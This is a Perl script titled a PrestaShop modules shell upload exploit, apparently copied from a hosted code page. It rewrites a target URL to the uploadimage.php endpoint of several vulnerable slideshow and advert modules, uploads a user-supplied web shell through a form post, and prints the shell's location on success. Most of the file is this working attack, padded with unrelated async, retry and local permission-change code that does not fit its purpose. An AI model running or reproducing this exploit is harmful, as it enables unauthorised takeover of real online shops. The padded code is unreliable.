Spaces:
Runtime error
Runtime error
| #!/usr/bin/perl | |
| use strict; | |
| use warnings; | |
| use FindBin '$Bin'; | |
| use Term::ANSIColor; | |
| use URI::Escape; | |
| use HTML::Entities; | |
| use LWP::UserAgent; | |
| use Config; | |
| use JSON; | |
| use IO::Async::Loop; | |
| use Net::Async::HTTP; | |
| print color 'reset'; | |
| # Detect OS | |
| my $os = $Config{osname}; | |
| print "Detected OS: $os\n"; | |
| # Load configuration | |
| my $config_file = 'config.json'; | |
| open my $fh, '<', $config_file or die "Could not open '$config_file' $!\n"; | |
| my $config = decode_json(do { local $/; <$fh> }); | |
| close $fh; | |
| # Define user agent | |
| my $ua = LWP::UserAgent->new; | |
| $ua->timeout(10); | |
| # Check arguments | |
| if (@ARGV < 2) { | |
| print "Usage: perl $0 Target Shell\n"; | |
| exit; | |
| } | |
| my $URL = $ARGV[0]; | |
| my $FILE = $ARGV[1]; | |
| my @error = ("Shell uploaded successfully", "Target Not vulnerable"); | |
| my @PARAMETER = ("/simpleslideshow/", "/productpageadverts/", "/homepageadvertise/", "/columnadverts/", "/vtemslideshow/"); | |
| for my $PARAMETER (@PARAMETER) { | |
| if ($URL =~ /$PARAMETER/) { | |
| $URL =~ s/$PARAMETER(.*)//s; | |
| my $add = $PARAMETER . "uploadimage.php"; | |
| $URL = $URL . $add; | |
| print "SCAN: $URL\n"; | |
| use HTTP::Request::Common; | |
| $ua = LWP::UserAgent->new; | |
| my $response = $ua->request(POST $URL, ['Content_Type' => 'form-data', 'userfile' => [$FILE]]); | |
| my $shellFILE = $FILE; | |
| if ($response->content =~ /success/) { | |
| print color 'green'; | |
| print "$error[0] "; | |
| $shellFILE =~ s/$Bin//g; | |
| my $shell = "slides" . $shellFILE; | |
| $URL =~ s/uploadimage.php/$shell/g; | |
| print "$URL\n"; | |
| print color 'reset'; | |
| # Additional OS-specific commands | |
| if ($os eq 'linux') { | |
| # Linux-specific commands | |
| print "Executing Linux-specific commands...\n"; | |
| system("chmod +x $shellFILE"); | |
| } elsif ($os eq 'MSWin32') { | |
| # Windows-specific commands | |
| print "Executing Windows-specific commands...\n"; | |
| system("icacls $shellFILE /grant Everyone:F"); | |
| } elsif ($os eq 'darwin') { | |
| # macOS-specific commands | |
| print "Executing macOS-specific commands...\n"; | |
| system("chmod +x $shellFILE"); | |
| } else { | |
| print "OS-specific commands not defined for $os\n"; | |
| } | |
| } else { | |
| print color 'red'; | |
| print "$error[1]\n"; | |
| print color 'reset'; | |
| } | |
| } | |
| } | |
| # Asynchronous I/O operations | |
| my $loop = IO::Async::Loop->new; | |
| my $http = Net::Async::HTTP->new; | |
| $loop->add($http); | |
| # Example asynchronous request | |
| $http->GET('http://example.com')->then(sub { | |
| my $response = shift; | |
| print "Received response: " . $response->content . "\n"; | |
| })->get; | |
| # Logging and monitoring | |
| sub log_message { | |
| my ($message) = @_; | |
| open my $log_fh, '>>', 'script.log' or die "Could not open log file $!\n"; | |
| print $log_fh "$message\n"; | |
| close $log_fh; | |
| } | |
| log_message("Script executed successfully"); | |
| # Retry mechanism | |
| sub retry { | |
| my ($code, $retries) = @_; | |
| my $attempt = 0; | |
| while ($attempt < $retries) { | |
| eval { $code->(); 1 } and last; | |
| $attempt++; | |
| sleep 1; | |
| } | |
| } | |
| retry(sub { | |
| # Code to retry | |
| }, 3); | |
| # Documentation and usage instructions | |
| __END__ | |
| =head1 NAME | |
| prestashop_shell_exploit.pl - Prestashop Modules Shell Upload Exploit | |
| =head1 SYNOPSIS | |
| perl prestashop_shell_exploit.pl TARGET SHELL | |
| =head1 DESCRIPTION | |
| This script exploits vulnerable Prestashop modules to upload a shell. | |
| =head1 CONFIGURATION | |
| The script uses a configuration file (config.json) for settings. | |
| =head1 AUTHOR | |
| Alisam Technology Team | |
| =head1 LICENSE | |
| This script is licensed under the GPL. | |
| =cut | |